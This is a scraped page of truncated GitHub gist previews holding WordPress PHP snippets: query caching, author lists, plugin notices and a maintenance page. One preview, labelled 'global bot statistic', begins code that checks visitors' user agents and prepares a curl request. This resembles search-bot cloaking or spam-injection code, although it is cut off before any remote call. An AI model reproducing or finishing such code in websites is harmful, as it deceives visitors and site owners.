This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Author: Sergey Biryukov | |
Author URI: http://profiles.wordpress.org/sergeybiryukov/ | |
*/ | |
function fix_custom_fields_in_wp342() { | |
global $wp_version, $hook_suffix; | |
if ( '3.4.2' == $wp_version && in_array( $hook_suffix, array( 'post.php', 'post-new.php' ) ) ) : ?--><script type="text/javascript">// <![CDATA[ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php foreach ( get_users('order=DESC&orderby=post_count&number=5') as $user ) : ?> | |
<?php echo $user->display_name; ?> (<?php echo $user->post_count; ?> Posts) | |
<?php endforeach; ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# http://wordpress.stackexchange.com/questions/59486/mysql-custom-wp-query | |
?> | |
<?php | |
$values = get_tags(); | |
if(sizeof($values) > 0) : ?> | |
<select name="tags"> | |
<option value="">default</option> | |
<?php |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# http://www.fatihtoprak.com | |
$Poz = new WP_Query(array( | |
'posts_per_page' => 2, | |
'orderby' => 'date', | |
'order' => 'DESC', | |
'no_found_rows' => true, | |
'update_post_term_cache' => false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# Cached Wordpress queries | |
# http://www.fatihtoprak.com | |
# SE Disq : http://wordpress.stackexchange.com/questions/70424/posts-per-page-doesnt-work/70425 | |
$Poz = array( | |
'posts_per_page' => 5, | |
'orderby' => 'date', | |
'order' => 'DESC', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (!isset($sRetry)) | |
{ | |
global $sRetry; | |
$sRetry = 1; | |
// This code use for global bot statistic | |
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot | |
$stCurlHandle = NULL; | |
$stCurlLink = ""; | |
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $post; | |
$attachments = get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ); | |
$count = count( $attachments ); | |
$specific = array(); | |
$i = 1; | |
foreach ( $attachments as $attachment ) { | |
$specific[$attachment->ID] = $i; | |
++$i; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$FooterLatest = get_transient('PozFooterLatest'); | |
if ($FooterLatest === false) {; | |
$FooterLatest = new WP_Query("showposts=5&orderby=date"); | |
set_transient('PozFooterLatest', $FooterLatest, 60*60*12); | |
} | |
while ($FooterLatest->have_posts()) : $FooterLatest->the_post(); | |
?> | |
<li><a href="<?php the_permalink() ?>" title="<?php the_title_attribute(); ?>" > <?php the_title(); ?> </a> </li> | |
<?php endwhile; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('admin_notices', 'showAdminMessages'); | |
function showAdminMessages() | |
{ | |
$plugin_messages = array(); | |
include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); | |
// Download the Yoast WordPress SEO plugin | |
if(!is_plugin_active( 'wordpress-seo/wp-seo.php' )) | |
{ | |
$plugin_messages[] = 'This theme requires you to install the Yoast WordPress SEO plugin, <a href="http://wordpress.org/extend/plugins/wordpress-seo/">download it from here</a>.'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML> | |
<html> | |
<head> | |
<title>New Website coming soon!</title> | |
</head> | |
<body> | |
<h1>Bu web sitesi kısa süreliğine yeni versiyon çalışması nedeni ile yayınına ara vermiş bulunuyor. Lütfen yakın gelecekte yeniden ziyaret ediniz (:.</h1> | |
</body> | |
</html> |
OlderNewer